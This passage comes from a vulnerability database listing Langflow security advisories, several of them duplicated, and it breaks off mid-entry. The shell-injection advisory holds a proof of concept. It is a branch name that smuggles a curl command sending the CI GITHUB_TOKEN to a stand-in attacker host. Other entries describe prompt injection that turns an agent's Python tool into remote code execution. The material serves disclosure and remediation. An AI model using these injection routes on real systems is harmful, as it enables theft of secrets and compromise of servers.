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56 vulnerabilities found for Langflow by Langflow
CVE-2026-3357 (GCVE-0-2026-3357)
Vulnerability from nvd – Published: 2026-04-08 00:19 – Updated: 2026-04-08 15:41
VLAI?
Title
IBM Langflow Desktop FAISS Vector Store Remote Code Execution via malicious Pickle file
Summary
IBM Langflow Desktop 1.6.0 through 1.8.2 Langflow could allow an authenticated user to execute arbitrary code on the system, caused by an insecure default setting which permits the deserialization of untrusted data in the FAISS component.
Severity ?
8.8 (High)
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| IBM | Langflow Desktop |
Affected:
1.6.0 , ≤ 1.8.2
(semver)
cpe:2.3:a:ibm:langflow_desktop:1.6.0:*:*:*:*:*:*:* cpe:2.3:a:ibm:langflow_desktop:1.8.2:*:*:*:*:*:*:* |
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CVE-2026-33873 (GCVE-0-2026-33873)
Vulnerability from nvd – Published: 2026-03-27 20:04 – Updated: 2026-04-02 13:03
VLAI?
Title
Langflow has Authenticated Code Execution in Agentic Assistant Validation
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.
Severity ?
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.9.0
|
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CVE-2026-5026 (GCVE-0-2026-5026)
Vulnerability from nvd – Published: 2026-03-27 14:50 – Updated: 2026-03-27 15:35
VLAI?
Title
Langflow - Stored XSS via Malicious SVG Upload
Summary
The '/api/v1/files/images/{flow_id}/{file_name}' endpoint serves SVG files with the 'image/svg+xml' content type without sanitizing their content.
Since SVG files can contain embedded JavaScript, an attacker can upload a malicious SVG that executes arbitrary JavaScript when viewed by other users, leading to stored cross-site scripting (XSS). This allows stealing authentication tokens stored in cookies, including JWT access and refresh tokens.
Severity ?
CWE
- CWE-79 - Improper neutralization of input during web page generation ('cross-site scripting')
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
0
(custom)
|
Date Public ?
2026-03-27 16:00
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CVE-2026-5025 (GCVE-0-2026-5025)
Vulnerability from nvd – Published: 2026-03-27 14:43 – Updated: 2026-03-27 15:38
VLAI?
Title
Langflow - Application Logs Exposed to All Authenticated Users
Summary
The '/logs' and '/logs-stream' endpoints in the log router allow any authenticated user to read the full application log buffer. These endpoints only require basic authentication ('get_current_active_user') without any privilege checks (e.g., 'is_superuser').
Severity ?
6.5 (Medium)
CWE
- CWE-862 - Missing Authorization
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
0
(custom)
|
Date Public ?
2026-03-27 16:00
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CVE-2026-5022 (GCVE-0-2026-5022)
Vulnerability from nvd – Published: 2026-03-27 14:34 – Updated: 2026-03-27 15:10
VLAI?
Title
Langflow - Missing Authorization on download_image Endpoint
Summary
The '/api/v1/files/images/{flow_id}/{file_name}' endpoint does not enforce any authentication or authorization checks, allowing any unauthenticated user to download images belonging to any flow by knowing (or guessing) the flow ID and file name.
Severity ?
CWE
- CWE-862 - Missing Authorization
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
0
(custom)
|
Date Public ?
2026-03-27 16:00
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CVE-2026-33497 (GCVE-0-2026-33497)
Vulnerability from nvd – Published: 2026-03-24 13:14 – Updated: 2026-03-24 17:45
VLAI?
Title
Langflow: /profile_pictures/{folder_name}/{file_name} endpoint file reading
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch.
Severity ?
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.7.1
|
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CVE-2026-33484 (GCVE-0-2026-33484)
Vulnerability from nvd – Published: 2026-03-24 12:57 – Updated: 2026-03-24 13:37
VLAI?
Title
Langflow has Unauthenticated IDOR on Image Downloads
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.
Severity ?
7.5 (High)
CWE
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
>= 1.0.0, < 1.9.0
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CVE-2026-33475 (GCVE-0-2026-33475)
Vulnerability from nvd – Published: 2026-03-24 12:54 – Updated: 2026-03-25 03:55
VLAI?
Title
Langflow GitHub Actions Shell Injection
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
### Details
Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:
```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Or:
```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
### PoC
1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
6. The attacker receives the CI secret via the exfil URL.
---
### Impact
- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
### Suggested Fix
Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:
```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```
Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.
---
### Affected Files (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`
Severity ?
9.1 (Critical)
CWE
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.9.0
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"value": "Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.\n\n---\n\n### Details\n\nSeveral workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:\n\n```yaml\nrun: |\n validate_branch_name \"${{ github.event.pull_request.head.ref }}\"\n```\n\nOr:\n\n```yaml\nrun: npx playwright install ${{ inputs.browsers }} --with-deps\n```\n\nSince `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.\n\n---\n\n### PoC\n\n1. **Fork** the Langflow repository\n2. **Create a new branch** with the name:\n ```bash\n injection-test \u0026\u0026 curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n ```\n3. **Open a Pull Request** to the main branch from the new branch\n4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)\n5. The `run:` step containing:\n ```yaml\n echo \"Branch: ${{ github.head_ref }}\"\n ```\n Will execute:\n ```bash\n echo \"Branch: injection-test\"\n curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n ```\n\n6. The attacker receives the CI secret via the exfil URL.\n\n---\n\n### Impact\n\n- **Type:** Shell Injection / Remote Code Execution in CI\n- **Scope:** Any public Langflow fork with GitHub Actions enabled\n- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data\n\n---\n\n### Suggested Fix\n\nRefactor affected workflows to **use environment variables** and wrap them in **double quotes**:\n\n```yaml\nenv:\n BRANCH_NAME: ${{ github.head_ref }}\nrun: |\n echo \"Branch is: \\\"$BRANCH_NAME\\\"\"\n```\n\nAvoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.\n\n---\n\n### Affected Files (Langflow `1.3.4`)\n\n- `.github/actions/install-playwright/action.yml`\n- `.github/workflows/deploy-docs-draft.yml`\n- `.github/workflows/docker-build.yml`\n- `.github/workflows/release_nightly.yml`\n- `.github/workflows/python_test.yml`\n- `.github/workflows/typescript_test.yml`"
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CVE-2026-33309 (GCVE-0-2026-33309)
Vulnerability from nvd – Published: 2026-03-24 12:49 – Updated: 2026-03-25 03:55
VLAI?
Title
Langflow has an Arbitrary File Write (RCE) via v2 API
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.
Severity ?
10 (Critical)
CWE
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
>= 1.2.0, < 1.9.0
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CVE-2026-33053 (GCVE-0-2026-33053)
Vulnerability from nvd – Published: 2026-03-20 06:53 – Updated: 2026-03-20 18:07
VLAI?
Title
Langflow has Missing Ownership Verification in API Key Deletion (IDOR)
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion.
Severity ?
CWE
- CWE-639 - Authorization Bypass Through User-Controlled Key
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.9.0
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CVE-2026-33017 (GCVE-0-2026-33017)
Vulnerability from nvd – Published: 2026-03-20 04:52 – Updated: 2026-03-26 03:55
VLAI?
Title
Langflow has Unauthenticated Remote Code Execution via Public Flow Build Endpoint
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.
Severity ?
CWE
Assigner
References
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.9.0
|
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CVE-2026-27966 (GCVE-0-2026-27966)
Vulnerability from nvd – Published: 2026-02-26 01:55 – Updated: 2026-02-28 04:55
VLAI?
Title
Langflow has Remote Code Execution in CSV Agent
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.8.0, the CSV Agent node in Langflow hardcodes `allow_dangerous_code=True`, which automatically exposes LangChain’s Python REPL tool (`python_repl_ast`). As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE). Version 1.8.0 fixes the issue.
Severity ?
9.8 (Critical)
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.8.0
|
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CVE-2026-0772 (GCVE-0-2026-0772)
Vulnerability from nvd – Published: 2026-01-23 03:29 – Updated: 2026-02-26 14:44
VLAI?
Title
Langflow Disk Cache Deserialization of Untrusted Data Remote Code Execution Vulnerability
Summary
Langflow Disk Cache Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is required to exploit this vulnerability.
The specific flaw exists within the disk cache service. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27919.
Severity ?
7.5 (High)
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Date Public ?
2026-01-09 16:39
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CVE-2026-0771 (GCVE-0-2026-0771)
Vulnerability from nvd – Published: 2026-01-23 03:28 – Updated: 2026-02-26 14:44
VLAI?
Title
Langflow PythonFunction Code Injection Remote Code Execution Vulnerability
Summary
Langflow PythonFunction Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Attack vectors and exploitability will vary depending on the configuration of the product.
The specific flaw exists within the handling of Python function components. Depending upon product configuration, an attacker may be able to introduce custom Python code into a workflow. An attacker can leverage this vulnerability to execute code in the context of the application. Was ZDI-CAN-27497.
Severity ?
7.1 (High)
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Date Public ?
2026-01-09 16:38
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CVE-2026-0770 (GCVE-0-2026-0770)
Vulnerability from nvd – Published: 2026-01-23 03:28 – Updated: 2026-02-26 14:44
VLAI?
Title
Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability
Summary
Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the handling of the exec_globals parameter provided to the validate endpoint. The issue results from the inclusion of a resource from an untrusted control sphere. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27325.
Severity ?
9.8 (Critical)
CWE
- CWE-829 - Inclusion of Functionality from Untrusted Control Sphere
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Date Public ?
2026-01-09 16:38
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CVE-2026-0769 (GCVE-0-2026-0769)
Vulnerability from nvd – Published: 2026-01-23 03:28 – Updated: 2026-02-26 14:44
VLAI?
Title
Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability
Summary
Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the implementation of eval_custom_component_code function. The issue results from the lack of proper validation of a user-supplied string before using it to execute python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26972.
Severity ?
9.8 (Critical)
CWE
- CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Date Public ?
2026-01-09 16:37
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CVE-2026-0768 (GCVE-0-2026-0768)
Vulnerability from nvd – Published: 2026-01-23 03:28 – Updated: 2026-02-26 14:44
VLAI?
Title
Langflow code Code Injection Remote Code Execution Vulnerability
Summary
Langflow code Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the handling of the code parameter provided to the validate endpoint. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of root.
. Was ZDI-CAN-27322.
Severity ?
9.8 (Critical)
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Date Public ?
2026-01-09 16:37
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CVE-2026-3357 (GCVE-0-2026-3357)
Vulnerability from cvelistv5 – Published: 2026-04-08 00:19 – Updated: 2026-04-08 15:41
VLAI?
Title
IBM Langflow Desktop FAISS Vector Store Remote Code Execution via malicious Pickle file
Summary
IBM Langflow Desktop 1.6.0 through 1.8.2 Langflow could allow an authenticated user to execute arbitrary code on the system, caused by an insecure default setting which permits the deserialization of untrusted data in the FAISS component.
Severity ?
8.8 (High)
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| IBM | Langflow Desktop |
Affected:
1.6.0 , ≤ 1.8.2
(semver)
cpe:2.3:a:ibm:langflow_desktop:1.6.0:*:*:*:*:*:*:* cpe:2.3:a:ibm:langflow_desktop:1.8.2:*:*:*:*:*:*:* |
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CVE-2026-33873 (GCVE-0-2026-33873)
Vulnerability from cvelistv5 – Published: 2026-03-27 20:04 – Updated: 2026-04-02 13:03
VLAI?
Title
Langflow has Authenticated Code Execution in Agentic Assistant Validation
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.
Severity ?
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
| URL | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.9.0
|
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CVE-2026-5026 (GCVE-0-2026-5026)
Vulnerability from cvelistv5 – Published: 2026-03-27 14:50 – Updated: 2026-03-27 15:35
VLAI?
Title
Langflow - Stored XSS via Malicious SVG Upload
Summary
The '/api/v1/files/images/{flow_id}/{file_name}' endpoint serves SVG files with the 'image/svg+xml' content type without sanitizing their content.
Since SVG files can contain embedded JavaScript, an attacker can upload a malicious SVG that executes arbitrary JavaScript when viewed by other users, leading to stored cross-site scripting (XSS). This allows stealing authentication tokens stored in cookies, including JWT access and refresh tokens.
Severity ?
CWE
- CWE-79 - Improper neutralization of input during web page generation ('cross-site scripting')
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
0
(custom)
|
Date Public ?
2026-03-27 16:00
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CVE-2026-5025 (GCVE-0-2026-5025)
Vulnerability from cvelistv5 – Published: 2026-03-27 14:43 – Updated: 2026-03-27 15:38
VLAI?
Title
Langflow - Application Logs Exposed to All Authenticated Users
Summary
The '/logs' and '/logs-stream' endpoints in the log router allow any authenticated user to read the full application log buffer. These endpoints only require basic authentication ('get_current_active_user') without any privilege checks (e.g., 'is_superuser').
Severity ?
6.5 (Medium)
CWE
- CWE-862 - Missing Authorization
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
0
(custom)
|
Date Public ?
2026-03-27 16:00
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CVE-2026-5022 (GCVE-0-2026-5022)
Vulnerability from cvelistv5 – Published: 2026-03-27 14:34 – Updated: 2026-03-27 15:10
VLAI?
Title
Langflow - Missing Authorization on download_image Endpoint
Summary
The '/api/v1/files/images/{flow_id}/{file_name}' endpoint does not enforce any authentication or authorization checks, allowing any unauthenticated user to download images belonging to any flow by knowing (or guessing) the flow ID and file name.
Severity ?
CWE
- CWE-862 - Missing Authorization
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
0
(custom)
|
Date Public ?
2026-03-27 16:00
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CVE-2026-33497 (GCVE-0-2026-33497)
Vulnerability from cvelistv5 – Published: 2026-03-24 13:14 – Updated: 2026-03-24 17:45
VLAI?
Title
Langflow: /profile_pictures/{folder_name}/{file_name} endpoint file reading
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch.
Severity ?
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.7.1
|
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CVE-2026-33484 (GCVE-0-2026-33484)
Vulnerability from cvelistv5 – Published: 2026-03-24 12:57 – Updated: 2026-03-24 13:37
VLAI?
Title
Langflow has Unauthenticated IDOR on Image Downloads
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.
Severity ?
7.5 (High)
CWE
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
>= 1.0.0, < 1.9.0
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CVE-2026-33475 (GCVE-0-2026-33475)
Vulnerability from cvelistv5 – Published: 2026-03-24 12:54 – Updated: 2026-03-25 03:55
VLAI?
Title
Langflow GitHub Actions Shell Injection
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
### Details
Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:
```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Or:
```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
### PoC
1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
6. The attacker receives the CI secret via the exfil URL.
---
### Impact
- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
### Suggested Fix
Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:
```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```
Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.
---
### Affected Files (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`
Severity ?
9.1 (Critical)
CWE
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
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| langflow-ai | langflow |
Affected:
< 1.9.0
|
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CVE-2026-33309 (GCVE-0-2026-33309)
Vulnerability from cvelistv5 – Published: 2026-03-24 12:49 – Updated: 2026-03-25 03:55
VLAI?
Title
Langflow has an Arbitrary File Write (RCE) via v2 API
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.
Severity ?
10 (Critical)
CWE
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
>= 1.2.0, < 1.9.0
|
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CVE-2026-33053 (GCVE-0-2026-33053)
Vulnerability from cvelistv5 – Published: 2026-03-20 06:53 – Updated: 2026-03-20 18:07
VLAI?
Title
Langflow has Missing Ownership Verification in API Key Deletion (IDOR)
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion.
Severity ?
CWE
- CWE-639 - Authorization Bypass Through User-Controlled Key
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.9.0
|
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CVE-2026-33017 (GCVE-0-2026-33017)
Vulnerability from cvelistv5 – Published: 2026-03-20 04:52 – Updated: 2026-03-26 03:55
VLAI?
Title
Langflow has Unauthenticated Remote Code Execution via Public Flow Build Endpoint
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.
Severity ?
CWE
Assigner
References
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.9.0
|
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CVE-2026-27966 (GCVE-0-2026-27966)
Vulnerability from cvelistv5 – Published: 2026-02-26 01:55 – Updated: 2026-02-28 04:55
VLAI?
Title
Langflow has Remote Code Execution in CSV Agent
Summary
